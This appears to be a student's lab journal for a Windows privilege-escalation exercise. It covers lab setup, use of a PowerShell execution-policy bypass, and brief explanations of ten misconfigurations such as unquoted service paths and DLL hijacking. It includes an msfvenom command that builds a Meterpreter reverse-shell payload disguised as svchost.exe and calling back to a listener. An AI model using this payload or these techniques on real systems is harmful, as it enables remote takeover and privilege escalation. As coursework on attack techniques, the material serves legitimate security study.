Task exploitation

##Creating malicious payload (which is a malicious file -executable, web script, etc.) and listener

Creating a RAT

Objective: Create a RAT disguised as a normal executable.

msfvenom+ -p windows/meterpreter/reverse_tcp LHOST=10.0.17.67 LPORT=4444-f exe > svchost.exe

Setting up the vulnerable VM

• Download the winlocalpriv_excalation.zip file on Canvas, the password is password.

• Unzip the file and run an elevated powershell prompt (run as admin) and continue to run:

`.\Setup-Lab.ps1 -BenignServicePath “./benign-service/benign-service.exe” -ExploitPayloadPath "exploit-payload/exploit-payload.exe" -LabUser "champuser"1

# Tech journal submission

1. Document the bypass method

The bypass method i used was -ExecutionPolicy Bypass along with the regular lines. The bypass command does not turn off security for the whole computer, but only applies to the script ran with that command.

2. Document the 10 vulnerabilities to explain how it elevates privileges

• Unquoted service path - When a service is created whose executable path, contains spaces and isn't enclosed within quotes. This leads to a vulnerability which allows a user to gain system privileges

• AlwaysInstallElevated - Windows policy setting made to have any user install software packages with full administrator or SYSTEM privileges, however, attackers can use it to bypass controls and have instant system access.

• https://www.hackingarticles.in/windows-privilege-escalation-unquoted-service-path/

• Creating service with weak permissions windows - This allows low privileged users (users other than admin or without clearance) to modify, hijack, or reconfigure the system.

• https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/

• Creating service with weak registry permission - allows low privileged users to modify the configure and execute malicious code

• https://attack.mitre.org/techniques/T1543/003/

• DLL Hijacking opportunity - Loads a Dynamic link Library (DLL) file incorrectly, which allows an unintended library to execute malicious code

• https://attack.mitre.org/techniques/T1574/001/

• Creating service with missing binary - a technique where an attacker exploits a Windows service that point to an executable file that does not exist.

• https://attack.mitre.org/techniques/T1543/003/

• Creating writable PATH directory - includes a folder with weak permissions in the systems global environment.

https://attack.mitre.org/techniques/T1574/007/

• Configuring startup folder permissions - Focuses on how misconfigurations lead lead to privilege escalation and how to secure them

https://attack.mitre.org/techniques/T1547/001/

• Creating unattend.xml with credentials - File can be a target because it contains plain-text or poorly encrypted credentials.

https://attack.mitre.org/techniques/T1552/001/

• Creating vulnerable scheduled task - demonstrates how malicious actors gain persistence or execute privilege escalation on a target system.

https://attack.mitre.org/techniques/T1053/005/

Videos Deliverables